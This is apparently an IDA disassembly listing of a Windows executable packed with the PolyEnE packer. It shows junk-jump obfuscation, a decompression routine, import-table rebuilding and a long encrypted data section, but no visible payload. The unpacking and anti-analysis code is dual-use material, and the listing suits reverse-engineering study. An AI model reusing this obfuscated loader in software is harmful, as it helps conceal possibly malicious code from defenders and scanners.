		dd 0F715FFEBh, 50004204h, 1E8h,	8358C700h, 0FFEB08C0h
		dd 4E6858E0h, 58000037h, 4068h,	240C8B00h, 3304C483h, 2EB57C7h
		dd 43330BDh, 0F0FF5F24h, 15FFEB51h, 4204F3h, 50F0FFEBh
		dd 5F6901EBh, 8BF6FFEBh, 0F7875FF7h, 41800068h,	24048B00h
		dd 6804C483h, 374Eh, 0C0088A5Ah, 0D1000FC9h, 0C1C0D128h
		dd 0FFE9829Ah, 80FFF180h, 0F180CAE9h, 8EC9C0FFh, 80D3C1C0h
		dd 0C1C0FFE9h, 24C182E0h, 0D2870F88h, 0C7FFC0FFh, 0EBFB8757h
		dd 875B0F01h, 0FA834AFBh, 0BE850F00h, 0EBFFFFFFh, 0F78BF6FFh
		dd 86F7875Fh, 0A001EBC4h, 8C0C166h, 748B4444h, 4444FE24h
		dd 0C102C2C1h, 0E85002CAh, 1, 0C08358C7h, 0E0FFEB08h, 0B85058h
		dd 97004180h, 87575658h, 0F01EBFBh, 33FB875Bh, 2EB57C7h
		dd 43330BDh, 59685F24h,	8B004205h, 0C4832404h, 0EBD0FF04h
		dd 4F715FFh, 0C2C10042h, 2CAC102h, 0F05EB90h, 3103EB23h
		dd 0D287FBEBh, 0C704EC83h, 73C82404h, 875F0041h, 0EBC486C9h
		dd 0C166A001h, 0C78B08C0h, 8BF6FFEBh, 0F7875FF7h, 5B850h
		dd 58910000h, 0C704EC83h, 2404h, 0EB5B0000h, 18396901h
		dd 31850Fh, 0C7330000h,	0BD02EB57h, 24043330h, 52C9875Fh
		dd 4BAh, 2BDAF700h, 0C9FF5AC2h,	51524048h, 5A241C39h, 0FB840F5Ah
		dd 0EB000000h, 0FFC5E900h, 86F4FFFFh, 0A001EBC4h, 8C0C166h
		dd 8BF6FFEBh, 0F7875FF7h, 400000BBh, 20C6C100h,	480C478Bh
		dd 0EBC30340h, 0FFEBF0FFh, 4204FB15h, 8B5E5000h, 0C3011047h
		dd 0C987038Bh, 0EB57C733h, 3330BD02h, 685F2404h, 0
; ---------------------------------------------------------------------------
		pop	ecx
		push	edx
		push	eax
		cmp	[esp], ecx
		pop	edx
		pop	edx
		jz	loc_4203F0
		test	eax, 80000000h
		jnz	loc_4203A3
		xchg	edx, edx
		rol	edx, 2
		ror	edx, 2
		jmp	short loc_420384
; ---------------------------------------------------------------------------
		db 31h
; ---------------------------------------------------------------------------

loc_420384:				; CODE XREF: .data:00420381j
		add	eax, 400000h
		xor	eax, edi
		push	edi
		jmp	short loc_420390
; ---------------------------------------------------------------------------
		dw 30BDh
; ---------------------------------------------------------------------------

loc_420390:				; CODE XREF: .data:0042038Cj
		xor	eax, [esp]
		pop	edi
		inc	eax
		inc	eax
		jmp	loc_4203B9
; ---------------------------------------------------------------------------
		dd 2C2C1BFh
; ---------------------------------------------------------------------------
		ror	edx, 2

loc_4203A3:				; CODE XREF: .data:00420373j
		push	eax
		call	near ptr loc_4203A9+1

loc_4203A9:				; CODE XREF: .data:004203A4p
		mov	dword ptr [eax-7Dh], 0FFEB08C0h
		loopne	near ptr loc_420408+2
		and	eax, 0FFFFh
		xchg	ebx, ebx

loc_4203B9:				; CODE XREF: .data:00420397j
					; .data:loc_4203B9j
		jmp	short near ptr loc_4203B9+1
; ---------------------------------------------------------------------------
		db 0F0h
; ---------------------------------------------------------------------------
		push	esi
		xchg	al, ah
		jmp	short loc_4203C2
; ---------------------------------------------------------------------------
		db 0A0h
; ---------------------------------------------------------------------------

loc_4203C2:				; CODE XREF: .data:004203BFj
		rol	ax, 8
		xchg	ecx, ecx
		jmp	short near ptr loc_4203C8+1 ; CODE XREF: .data:loc_4203C8j
; ---------------------------------------------------------------------------
		dw 0FF15h
		dd 50004204h, 0B8h, 87589100h, 0FC83BDBh, 4884h, 3899000h
		dd 49B8Dh, 5DE90000h, 40FFFFFFh
; ---------------------------------------------------------------------------

loc_4203F0:				; CODE XREF: .data:00420368j
		push	eax
		call	near ptr loc_4203F6+1

loc_4203F6:				; CODE XREF: .data:004203F1p
		mov	dword ptr [eax-7Dh], 0FFEB08C0h
		loopne	loc_420457
		push	eax
		mov	eax, 14h
		add	edi, eax
		pop	eax

loc_420408:				; CODE XREF: .data:004203B0j
		jmp	near ptr dword_420018+2AAh
; ---------------------------------------------------------------------------
		sbb	ebx, ebp
		add	[ecx], esi
		jmp	short loc_420414
; ---------------------------------------------------------------------------
		db 0A9h
; ---------------------------------------------------------------------------

loc_420414:				; CODE XREF: .data:00420411j
		popa
		push	offset sub_4167F1
		pop	eax
		rol	edx, 2
		ror	edx, 2
		push	eax
		jmp	short near ptr loc_420422+1 ; CODE XREF: .data:loc_420422j
; ---------------------------------------------------------------------------
		dd 0C8FFEBC0h, 0F05EBC3h, 3103EB23h, 0B68FBEBh,	58004206h
		dd 6820C6C1h, 420626h, 83241C8Bh, 0FFEB04C4h, 10B850F1h
		dd 92000000h, 0F2FFEB58h
; ---------------------------------------------------------------------------
		jmp	short $+2
		push	ebx

loc_420457:				; CODE XREF: .data:004203FDj
		push	eax
		jmp	short near ptr loc_420459+1 ; CODE XREF: .data:loc_420459j
; ---------------------------------------------------------------------------
		icebp
		mov	eax, offset aUser32_dll	; "USER32.dll"
		dec	eax
		inc	eax
		xchg	al, ah
		jmp	short loc_420468
; ---------------------------------------------------------------------------
		db 0A0h
; ---------------------------------------------------------------------------

loc_420468:				; CODE XREF: .data:00420465j
		rol	ax, 8
		push	eax
		xchg	edx, edx
		jmp	short near ptr loc_42046F+1 ; CODE XREF: .data:loc_42046Fj
; ---------------------------------------------------------------------------
		adc	eax, (offset loc_4204FA+1)
		mov	ecx, offset aMessageboxa ; "MessageBoxA"
		push	ecx
		jmp	short loc_420483
; ---------------------------------------------------------------------------
		dw 230Fh
; ---------------------------------------------------------------------------

loc_420480:				; CODE XREF: .data:loc_420483j
		jmp	short loc_420485
; ---------------------------------------------------------------------------
		db 31h
; ---------------------------------------------------------------------------

loc_420483:				; CODE XREF: .data:0042047Cj
		jmp	short loc_420480
; ---------------------------------------------------------------------------

loc_420485:				; CODE XREF: .data:loc_420480j
		xchg	ecx, ecx
		push	eax
		push	eax
		call	near ptr loc_42048E+1

loc_42048E:				; CODE XREF: .data:00420489p
		mov	dword ptr [eax-7Dh], 0FFEB08C0h
		loopne	loc_4204EF
		push	edi
		xchg	edi, ebx
		jmp	short loc_42049D
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------

loc_42049D:				; CODE XREF: .data:0042049Aj
		pop	ebx
		xchg	edi, ebx
		jmp	short near ptr loc_4204A0+1 ; CODE XREF: .data:loc_4204A0j
; ---------------------------------------------------------------------------
		dw 0FF15h
; ---------------------------------------------------------------------------
		add	al, 42h
		add	bh, bh
		shr	bl, 1
		call	dword ptr loc_420503
		jmp	short loc_4204B7
; ---------------------------------------------------------------------------
		dw 230Fh
; ---------------------------------------------------------------------------

loc_4204B4:				; CODE XREF: .data:loc_4204B7j
		jmp	short loc_4204B9
; ---------------------------------------------------------------------------
		db 31h
; ---------------------------------------------------------------------------

loc_4204B7:				; CODE XREF: .data:004204B0j
		jmp	short loc_4204B4
; ---------------------------------------------------------------------------

loc_4204B9:				; CODE XREF: .data:loc_4204B4j
		jmp	loc_420554
; ---------------------------------------------------------------------------
		align 10h
		dd 0
		dd 0FFFF0000h, 4E6FFFFh, 4F30002h, 2
dword_4204D4	dd 4 dup(0)		; CODE XREF: .data:loc_4204FAj
		dd 454B0000h, 4C454E52h
		db 33h,	32h, 2Eh
; ---------------------------------------------------------------------------

loc_4204EF:				; CODE XREF: .data:00420495j
		db	64h
		insb
		insb
		add	[ebx+377E736h],	ah
		cmp	bh, ah

loc_4204FA:				; DATA XREF: .data:00420471o
		ja	short near ptr dword_4204D4
		add	eax, 0A5FD77E8h
		out	77h, eax

loc_420503:				; DATA XREF: .data:004204AAr
		mov	ch, 5Ch
		out	77h, eax
; ---------------------------------------------------------------------------
		db 0
		dd 68000000h, 6F6C4701h, 416C6162h, 636F6C6Ch, 47016F00h
		dd 61626F6Ch, 6572466Ch, 1A90065h, 64616F4Ch, 7262694Ch
		dd 41797261h, 47012900h, 72507465h, 6441636Fh, 73657264h
		dd 750073h, 74697845h, 636F7250h, 737365h
; ---------------------------------------------------------------------------

loc_420554:				; CODE XREF: .data:loc_4204B9j
		jmp	loc_420609
; ---------------------------------------------------------------------------
		push	ebp
		push	edi
		mov	ebx, edi
		xor	ebp, ebp
		add	ebx, [esi]
		add	esi, 8

loc_420564:				; CODE XREF: .data:00420571j
		mov	dx, [esi]
		mov	ecx, ebp
		inc	esi
		shr	dx, cl
		mov	dh, 9

loc_42056F:				; CODE XREF: .data:004205EBj
					; .data:004205FCj
		dec	dh
		jz	short loc_420564
		shl	dl, 1
		jnb	short loc_4205ED
		push	esi
		mov	ecx, ebp
		mov	eax, [esi]
		shr	eax, cl
		mov	ecx, eax
		mov	esi, eax
		shr	ecx, 3
		test	eax, 4
		jz	short loc_420597
		and	ecx, 1Fh
		shr	eax, 8
		add	ebp, 8
		jmp	short loc_4205A0
; ---------------------------------------------------------------------------

loc_420597:				; CODE XREF: .data:0042058Aj
		and	ecx, 3
		shr	eax, 5
		add	ebp, 5

loc_4205A0:				; CODE XREF: .data:00420595j
		and	esi, 3
		test	esi, esi
		jz	short loc_4205B5
		dec	esi
		jz	short loc_4205BF
		dec	esi
		jz	short loc_4205C9
		and	eax, 7
		add	ebp, 3
		jmp	short loc_4205CF
; ---------------------------------------------------------------------------

loc_4205B5:				; CODE XREF: .data:004205A5j
		and	eax, 7Fh
		add	ebp, 7
		jmp	short loc_4205CF
; ---------------------------------------------------------------------------

loc_4205BF:				; CODE XREF: .data:004205A8j
		and	eax, 3Fh
		add	ebp, 6
		jmp	short loc_4205CF
; ---------------------------------------------------------------------------

loc_4205C9:				; CODE XREF: .data:004205ABj
		and	eax, 0Fh
		add	ebp, 4

loc_4205CF:				; CODE XREF: .data:004205B3j
					; .data:004205BDj ...
		inc	eax
		mov	esi, edi
		add	ecx, 2
		sub	esi, eax
		lea	eax, [ecx+edi]
		cmp	eax, ebx
		jnb	short loc_420601
		rep movsb
		mov	ecx, ebp
		pop	esi
		shr	ecx, 3
		and	ebp, 7
		add	esi, ecx
		jmp	short loc_42056F
; ---------------------------------------------------------------------------

loc_4205ED:				; CODE XREF: .data:00420575j
		cmp	edi, ebx
		jnb	short loc_420602
		mov	ecx, ebp
		mov	eax, [esi]
		inc	edi
		shr	eax, cl
		inc	esi
		mov	[edi-1], al
		jmp	loc_42056F
; ---------------------------------------------------------------------------

loc_420601:				; CODE XREF: .data:004205DCj
		pop	ecx

loc_420602:				; CODE XREF: .data:004205EFj
		mov	eax, edi
		pop	edi
		sub	eax, edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420609:				; CODE XREF: .data:loc_420554j
		jmp	short near ptr byte_420645
; ---------------------------------------------------------------------------
aUnableToFixImp	db 'Unable to fix importtable.',0
aPolyene	db 'PolyEnE',0
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: .data:00420476o
aUser32_dll	db 'USER32.dll',0       ; DATA XREF: .data:0042045Co
byte_420645	db 3 dup(0)		; CODE XREF: .data:loc_420609j
		dd 26Eh	dup(0)
; ---------------------------------------------------------------------------
		pusha
		push	edi
		xchg	edi, ebx
		jmp	short loc_421007
; ---------------------------------------------------------------------------
		db 0Fh
; ---------------------------------------------------------------------------

loc_421007:				; CODE XREF: .data:00421004j
		pop	ebx
		xchg	edi, ebx
		sub	esp, 4
		mov	dword ptr [esp], 0F664h
		pop	eax
		rol	edx, 2
		ror	edx, 2
		push	40h
		pop	ecx
		push	eax
		push	ecx
		jmp	short near ptr loc_421024+1 ; CODE XREF: .data:loc_421024j
; ---------------------------------------------------------------------------
		dw 8615h
		dd 0EB004215h, 0E850F0FFh, 1, 0C08358C7h, 0E0FFEB08h, 0F0FFEB58h
		dd 10006859h, 2C8B0040h, 4C48324h, 0C704EC83h, 0F6642404h
		dd 8A5B0000h, 0EC800065h, 0FFC480FFh, 0E332DC00h, 8090CCC0h
		dd 0F480FFF4h, 82E332FFh, 0F48201C4h, 2E33201h,	0FFF480E3h
		dd 0C001C480h, 0E30252CCh, 883EF482h, 0FFD28721h, 0C1FFEBC5h
		dd 0FB834Bh, 0FFBD850Fh, 348BFFFFh, 4C48324h, 40100068h
		dd 243C8B00h, 8704C483h, 6901EBDBh, 90F6FFEBh, 4215EC68h
		dd 24048B00h, 0EB04C483h, 0FF00EB00h, 15FFEBD0h, 42158Ah
		dd 116800EBh, 8B000008h, 0C4832404h, 0F6FFEB04h, 875FF78Bh
		dd 40B9F7h, 0F0FF0000h,	0EB5100EBh, 158615FFh, 5EB0042h
		dd 3EB230Fh, 48FBEB31h,	87505040h, 243C8BC9h, 0EB04C483h
		dd 6890A901h, 417000h, 11B8505Dh, 91000008h, 7D8A58h, 0CFC0F902h
		dd 0C0CFFEEAh, 0CFFE65C7h, 24DEF82h, 43CFC0F9h,	0CF00D7F6h
		dd 8030CFC0h, 3F88FFF7h, 0FFEBC5FFh, 5FF78BF6h,	0FFEBF787h
		dd 5FF78BF6h, 0FF47F787h, 0F983C9h, 0FFBF850Fh,	0D287FFFFh
		dd 748B4444h, 4444FE24h, 8BF6FFEBh, 0F7875FF7h,	417000BFh
		dd 0E8505600h, 1, 0C08358C7h, 0E0FFEB08h, 83C98758h, 4C704ECh
		dd 4215EC24h, 0D0FF5800h, 1E850h, 58C70000h, 0EB08C083h
		dd 0EB58E0FFh, 0FFEBC0FFh, 3101EBC8h, 8A15FFEBh, 87004215h
		dd 0E7BD55C9h, 9500003Dh, 40685Dh, 0C8B0000h, 4C48324h
		dd 0EBF0FFh, 0EBF1FFEBh, 158615FFh, 0C7330042h,	0BD02EB57h
		dd 24043330h, 50F0FF5Fh, 0EBFB8757h, 875B0F01h,	1EB5BFBh
		dd 83D28769h, 4C704ECh,	41800024h, 0C9875F00h, 683101EBh
		dd 3DE7h, 0F62F8A58h, 1ED82D5h,	287BF582h, 0E4F582C5h
		dd 82ADC5C0h, 0E82AC3C5h, 0F627CDC0h, 58ED80D5h, 88FFED80h
		dd 0EBC7FF2Bh, 0C486A901h, 66A001EBh, 0EB08C0C1h, 0FFEBC0FFh
		dd 6901EBC8h, 0C8FFEB43h, 0F00F883h, 0FFFFB885h, 0FB8757FFh
		dd 5B0F01EBh, 0C733FB87h, 0BD02EB57h, 24043330h, 24348B5Fh
		dd 8304C483h, 4C704ECh,	41800024h, 0FFEB5F00h, 15EC68F6h
		dd 48B0042h, 4C48324h, 0EBD0FF90h, 158A15FFh, 1EB0042h
		dd 0C0FFEB69h, 83C8FFEBh, 4C704ECh, 55124h, 0C9875800h
		dd 1EBC486h, 0C0C166A0h, 406808h, 0C8B0000h, 4C48324h
		dd 1EBC486h, 0C0C166A0h, 0FFF0FF08h, 15FFEBF1h,	421586h
		dd 0FFEB00EBh, 5EB50F0h, 3EB230Fh, 5AFBEB31h, 0C704EC83h
		dd 2404h, 83580042h, 4C704ECh, 55124h, 188A5900h, 0FEFFEB82h
		dd 0CB00C3h, 93C380CBh,	0EB82D3F6h, 82EB8001h, 0EB80CB28h
		dd 86CBC013h, 0D3F6D92Ah, 821DEB80h, 0C38266EBh, 571A88FFh
		dd 1EBFB87h, 0FB875B0Fh, 50A901EBh, 1E8h, 8358C700h, 0FFEB08C0h
		dd 0C98758E0h, 5EB4240h, 3EB230Fh, 0EBFBEB31h, 0E850C9FFh
		dd 1, 0C08358C7h, 0E0FFEB08h, 0F98358h,	0FF90850Fh, 0C6C1FFFFh
		dd 0A901EB20h, 348B00EBh, 4C48324h, 686901EBh, 420000h
		dd 0A901EB5Fh, 55C98756h, 4215ECBDh, 0EB5D9500h, 4890A901h
		dd 87D0FF40h, 2C2C1D2h,	0EB02CAC1h, 158A15FFh, 0DB870042h
		dd 4204BEBFh, 0F05EB00h, 3103EB23h, 1EBFBEBh, 89404869h
		dd 5B9F8h, 0EC830000h, 2404C704h, 0
		dd 0F18395Bh, 2485h, 40500h, 0FFEB0000h, 0A901EBC9h, 0EB57C733h
		dd 3330BD02h, 3B5F2404h, 0D8840FCBh, 0E9000000h, 0FFFFFFD5h
		dd 2C2C1DFh, 3302CAC1h,	2EB57C7h, 43330BDh, 1EB5F24h, 0BB31h
		dd 478B0040h, 6901EB0Ch, 0C303DB87h, 404800EBh,	15FFEB50h
		dd 42158Eh, 478BC689h, 6901EB10h, 0D803DB87h, 0EBFB8757h
		dd 875B0F01h, 48038BFBh, 57C73340h, 30BD02EBh, 5F240433h
		dd 0B9DB87h, 3B000000h,	64840FC1h, 0EB000000h, 0BA526901h
		dd 400000h, 0C22BDAF7h,	3101EB5Ah, 0C0FFEB90h, 0F05EB90h
		dd 3103EB23h, 0C0FFFBEBh, 0F0FFC987h, 0FFEBF6FFh, 42159215h
		dd 6800h, 0C8B0000h, 4C48324h, 0C3B5052h, 0F5A5A24h, 3E84h
		dd 0EB038900h, 57C73300h, 30BD02EBh, 5F240433h,	4BA52h
		dd 0DA030000h, 0FF7FE95Ah, 816EFFFFh, 14C7h, 0FEF1E900h
		dd 6121FFFFh, 6901EB90h, 42000068h, 24048B00h, 0EB04C483h
		dd 57C3F0FFh, 1EBFB87h,	0FB875B0Fh, 169EBD55h, 5D950042h
		dd 0C704EC83h, 16B92404h, 515B0042h, 10B850h, 58920000h
		dd 0EBF2FFh, 876901EBh,	0FFEB53D2h, 5FF78BF6h, 0FFEBF787h
		dd 68F1FFF0h, 4216CDh, 8324048Bh, 0FFEB04C4h, 15FFEBF0h
		dd 42158Eh, 0C1B9D287h,	0EB004216h, 0FFEBC0FFh,	0EB5051C8h
		dd 159215FFh, 0D0FF0042h, 9615FFEBh, 86004215h,	0A001EBC4h
		dd 8C0C166h, 96E9h, 0
		dd 0C3133700h, 0E60000CDh, 2157977h, 2158600h, 5 dup(0)
		db    0
		db 4Bh,	45h, 52h
		db  4Eh	; N
		db 45h,	4Ch, 33h
		db  32h	; 2
		db 2Eh,	64h, 6Ch
		db  6Ch	; l
		align 2
		dw 36A3h
		db 0E7h	; ç
		db 77h,	3, 38h
		db 0E7h	; ç
		db 77h,	0D8h, 5
		db 0E8h	; è
		db 77h,	0FDh, 0A5h
		db 0E7h	; ç
		db 77h,	0B5h, 5Ch
		db 0E7h	; ç
		db 77h,	2 dup(0)
		db    0
		align 2
		dw 168h
aGlobalalloc	db 'GlobalAlloc',0
		db  6Fh	; o
		db 1, 47h, 6Ch
aObalfree	db 'obalFree',0
		db 0A9h, 1, 4Ch
aOadlibrarya	db 'oadLibraryA',0
		db  29h	; )
		db 1, 47h, 65h
aTprocaddress	db 'tProcAddress',0
aU_0		db 'u',0
aExitprocess	db 'ExitProcess',0
; ---------------------------------------------------------------------------
		jmp	loc_42169C
; ---------------------------------------------------------------------------
		push	ebp
		push	edi
		mov	ebx, edi
		xor	ebp, ebp
		add	ebx, [esi]
		add	esi, 8

loc_4215F7:				; CODE XREF: .data:00421604j
		mov	dx, [esi]
		mov	ecx, ebp
		inc	esi
		shr	dx, cl
		mov	dh, 9

loc_421602:				; CODE XREF: .data:0042167Ej
					; .data:0042168Fj
		dec	dh
		jz	short loc_4215F7
		shl	dl, 1
		jnb	short loc_421680
		push	esi
		mov	ecx, ebp
		mov	eax, [esi]
		shr	eax, cl
		mov	ecx, eax
		mov	esi, eax
		shr	ecx, 3
		test	eax, 4
		jz	short loc_42162A
		and	ecx, 1Fh
		shr	eax, 8
		add	ebp, 8
		jmp	short loc_421633
; ---------------------------------------------------------------------------

loc_42162A:				; CODE XREF: .data:0042161Dj
		and	ecx, 3
		shr	eax, 5
		add	ebp, 5

loc_421633:				; CODE XREF: .data:00421628j
		and	esi, 3
		test	esi, esi
		jz	short loc_421648
		dec	esi
		jz	short loc_421652
		dec	esi
		jz	short loc_42165C
		and	eax, 7
		add	ebp, 3
		jmp	short loc_421662
; ---------------------------------------------------------------------------

loc_421648:				; CODE XREF: .data:00421638j
		and	eax, 7Fh
		add	ebp, 7
		jmp	short loc_421662
; ---------------------------------------------------------------------------

loc_421652:				; CODE XREF: .data:0042163Bj
		and	eax, 3Fh
		add	ebp, 6
		jmp	short loc_421662
; ---------------------------------------------------------------------------

loc_42165C:				; CODE XREF: .data:0042163Ej
		and	eax, 0Fh
		add	ebp, 4

loc_421662:				; CODE XREF: .data:00421646j
					; .data:00421650j ...
		inc	eax
		mov	esi, edi
		add	ecx, 2
		sub	esi, eax
		lea	eax, [ecx+edi]
		cmp	eax, ebx
		jnb	short loc_421694
		rep movsb
		mov	ecx, ebp
		pop	esi
		shr	ecx, 3
		and	ebp, 7
		add	esi, ecx
		jmp	short loc_421602
; ---------------------------------------------------------------------------

loc_421680:				; CODE XREF: .data:00421608j
		cmp	edi, ebx
		jnb	short loc_421695
		mov	ecx, ebp
		mov	eax, [esi]
		inc	edi
		shr	eax, cl
		inc	esi
		mov	[edi-1], al
		jmp	loc_421602
; ---------------------------------------------------------------------------

loc_421694:				; CODE XREF: .data:0042166Fj
		pop	ecx

loc_421695:				; CODE XREF: .data:00421682j
		mov	eax, edi
		pop	edi
		sub	eax, edi
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_42169C:				; CODE XREF: .data:004215E7j
		jmp	short near ptr dword_4216D8
; ---------------------------------------------------------------------------
aUnableToFixI_0	db 'Unable to fix importtable.',0
aPolyene_0	db 'PolyEnE',0
aMessageboxa_0	db 'MessageBoxA',0
aUser32_dll_0	db 'USER32.dll',0
dword_4216D8	dd 24Ah	dup(0)		; CODE XREF: .data:loc_42169Cj
_data		ends

; Section 2. (virtual address 00022000)
; Virtual size			: 00014AA2 (  84642.)
; Section size in file		: 00014AA2 (  84642.)
; Offset to raw	data for section: 00022000
; Flags	C0000020: Text Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write
_pdata		segment	para public 'CODE' use32
		assume cs:_pdata
		;org 422000h
		assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
dword_422000	dd 8000005Eh, 97770000h, 9770AE98h, 68DB675Fh, 0BEA636A8h
					; DATA XREF: .ex_cod:off_4386B8o
		dd 234F1BA1h, 77BDB22Bh, 0B8631C4Ah, 2469B192h,	0D0ADCBD9h
		dd 98F33560h, 0D9DC7CC4h, 32D8F548h, 0BC5DF1D9h, 728A510h
		dd 0AC6E6783h, 7D438B8Bh, 0BAD87F81h, 2728547h,	0D2B1897Fh
		dd 4514CEFh, 2A7AC1C3h,	0E6039AFEh, 0FBE88E57h,	0E4E52A64h
		dd 450420B5h, 521796C1h, 0BAA1A5FAh, 34828A03h,	0CA8B601Ah
		dd 72DFB22Ch, 420847FCh, 2BE8E13Dh, 0CCF85E2Fh,	8ADF8F2h
		dd 0F1FD77Ah, 6FB2FE34h, 858FDB5Bh, 54CE96CEh, 0DD9D5241h
		dd 30F275EDh, 0F9F24DCDh, 0BBC8FE6Bh, 6A216E8Dh, 2738DE31h
		dd 94D1863Bh, 0CAFBECA4h, 0DC2086C5h, 71F33F89h, 0DCCB9CCCh
		dd 774FC165h, 0E7B976B0h, 0FFF61B8Ah, 0EA1C4909h, 0B7402EF9h
		dd 0E3665EE5h, 0C74426F3h, 682BE5B3h, 6A67A4B4h, 0C1CD5730h
		dd 592D64B3h, 0F1E5F9F6h, 0F66A2433h, 1841C3AFh, 31C7DF9Ah
		dd 1EB510D4h, 4F3D547Ch, 12693130h, 0D10C2422h,	0ED365AE9h
		dd 3D334C60h, 0CF6CE541h, 4540D61Dh, 0F675F3D2h, 7E3102E4h
		dd 2B793C4Dh, 8620F6ABh, 0DF8E2B0Ah, 3E2AE0FAh,	2DEBDC13h
		dd 0D01E551Ah, 0A32D5305h, 0A95610A1h, 0F59BCB30h, 660C1113h
		dd 3A28D8EFh, 75AFADA5h, 0AD810344h, 0DD6B677Fh, 0BD193F6Fh
		dd 0AE06D6BAh, 9EFE1B8Eh, 0D278ADD7h, 32707DDFh, 0E9FE675Ah
		dd 56CE49h, 16DB465Bh, 0BA065BE2h, 74D65E4h, 657E1175h
		dd 896E51CCh, 7DD3D269h, 0C3E53266h, 0F9D9CC39h, 9752D12Fh
		dd 0C7A92FB0h, 0E31A4237h, 0FEA65BDDh, 8F8740C2h, 0B50D7EB8h
		dd 52A58E0h, 0D310EEAAh, 0C54B4D8Ch, 7E1C15BEh,	0B446F2F0h
		dd 4653146Ah, 9E6FE1CEh, 0DCA4B2BEh, 7825D80Ah,	6B032AADh
		dd 30F02BE0h, 48519E01h, 949E2B95h, 92CEC413h, 701FE6FDh
		dd 0EC411E2Bh, 56E4EC33h, 3F9A9371h, 0D2F8052Bh, 0DAAFB7CAh
		dd 80BD9D7Ah, 0C7BE17EBh, 0CA15CBD8h, 48028DEDh, 0EE4548B1h
		dd 4371F88Eh, 3D7D556h,	0FC3B4FECh, 0E3975984h,	7B9D0B3Bh
		dd 67C019E9h, 34F4EF63h, 0D399AF1Ah, 2926B856h,	0A81F0A25h
		dd 6BFB01C7h, 0CA1175E6h, 0D2F273DFh, 27F61594h, 43276534h
		dd 5DD67558h, 179BA7BEh, 6C4651ACh, 0A493A656h,	70EDC7E4h
		dd 219C7226h, 5E10DF3Ch, 77B54DEBh, 0DC2257A5h,	6BF648C1h
		dd 0CA61D68Ah, 914F615Bh, 3F0F0ABBh, 98A1F7h, 376D6B8Ch
		dd 0D3CB729Dh, 784052FEh, 43069972h, 0DE940B01h, 0EE8FD925h
		dd 0D1B5D94Bh, 0D923713h, 0A0DF6F58h, 3A57AC80h, 370B383Ah
		dd 8CAB7534h, 2A03D068h, 0AF046569h, 0B9E66264h, 980060E9h
		dd 0FED9186Bh, 0C04CD8E4h, 0F6C04770h, 0AC878973h, 0CC084D90h
		dd 88A29235h, 93F3EC5h,	31F18752h, 1DC44C8h, 0B63D303Dh
		dd 6C78693Dh, 71A7B91Fh, 0DCD72FE3h, 3C603D77h,	0B9059A70h
		dd 0CDC3AEBCh, 9148DB3Ch, 9A1B3950h, 3E4AD6F0h,	8506FAh
		dd 0E6D06F95h, 0BC89798Ah, 0ACCDEDFh, 0D2E2B59Ch, 7F139BFDh
		dd 0B1E8592Eh, 0B7F159CFh, 6C92BB39h, 0F16B1436h, 6728EC0Bh
		dd 10CE0720h, 0C774C1Fh, 0A31E1863h, 1820B16Eh,	1D2FBC25h
		dd 39960107h, 0A59D629Fh, 58199490h, 8E76BC29h,	3537F81Bh
		dd 523AFD17h, 7FB184F2h, 93F613FDh, 88889D8Eh, 6C41C25h
		dd 78F3678Ah, 0D51A0E4Fh, 0EBE10C61h, 48E3248Fh, 17EE3A1Eh
		dd 6B493C4Fh, 9819E602h, 1D957C0Ch, 0DD9EA4E2h,	4FFBB31Dh
		dd 0E52E19E3h, 0DEB178ECh, 0DF274DBh, 0B8211587h, 38DD31F2h
		dd 5C9BEB1h, 0C7D575EFh, 3BA2ADDAh, 0D77D7F08h,	6EB50704h
		dd 396865D7h, 0DC9A84B5h, 5D46BF16h, 79C634FDh,	0F08EDBD4h
		dd 73FFBE0h, 3B98BB88h,	0D93650D3h, 0D160E652h,	15980CECh
		dd 6F60F964h, 1ABA7782h, 3EB8FE1Eh, 7D890084h, 91040A5h
		dd 0F78018Ch, 79F8AAC2h, 41E496B4h, 8C3CE7D1h, 0AB2B2371h
		dd 22F23E18h, 67062267h, 87A4E7FEh, 0BE1D7816h,	3C26CABFh
		dd 0B008442Eh, 0A2CAF2D7h, 0F8FDEE35h, 0FEEBACB0h, 8AE4339Eh
		dd 32ABA75Ch, 0BF666306h, 359B54E6h, 7760C9E0h,	20C5B55Bh
		dd 0F53550FBh, 0AD6B95A7h, 0EBB46571h, 7CED8FE0h, 3C8CCB0Fh
		dd 9FDE2637h, 3CA18CA2h, 0F5D04518h, 0E64D2A9Dh, 0A31A2653h
		dd 33C9F9F4h, 0E8E76AFDh, 0ACD37094h, 5A652237h, 0F5F35472h
		dd 2AEB7D87h, 0EE53EC94h, 3D7F330Ch, 0D1EEB12Fh, 4427E6A6h
		dd 5C3FC486h, 0D7CDAB49h, 21FA62F3h, 55BAC6C8h,	23C5468Dh
		dd 0B0E00589h, 6425F7A9h, 0A626050Ah, 0BAAEDD0Ah, 7AE742CEh
		dd 0E9CD030Ch, 0E049173Dh, 9F0C1621h, 0E259FF57h, 3F76C392h
		dd 0D3FCD85Ah, 0E1D4A53h, 0F4F47B04h, 6D6C0BF5h, 3A18C238h
		dd 0D5351C38h, 957A8FCFh, 0FFE845CAh, 2994CD08h, 9B204B21h
		dd 30DBC5FBh, 0EF3B0919h, 0D826DACAh, 297D6F44h, 0E8B6A8A3h
		dd 0FDB2082Ch, 7553EB19h, 0E9F22C33h, 0ABFC9AE8h, 0FFE129ACh
		dd 33A8439Ah, 8764066Fh, 0A94683C5h, 5C50DD5Bh,	29FB926Ch
		dd 0A7DCD50Eh, 4C2873BAh, 0C9587BAFh, 0EA5B6C3Ch, 4A5F68D2h
		dd 98C89FA8h, 0F36DB9E1h, 4F54238Ah, 0E3359EF7h, 0C84BAA55h
		dd 60E33423h, 8458ECF7h, 0B2F2BD83h, 10595418h,	904FF19Fh
		dd 0E3F90F70h, 0A40B792Bh, 4546218Eh, 300506BAh, 0DFFE08F3h
		dd 95BEC4BCh, 6709A30h,	0A9AA80ABh, 0CE3F82C4h,	1977B623h
		dd 1A60D454h, 656C4BD3h, 54E18AEh, 0BBC528A0h, 51B39238h
		dd 80B3D110h, 0FBDABC2Ch, 0FAD0E079h, 2C27023Ah, 0F2AAC2C5h
		dd 0CDC4932Fh, 0EF5FF70Fh, 0E83D1D55h, 0E2A18284h, 1648D49Eh
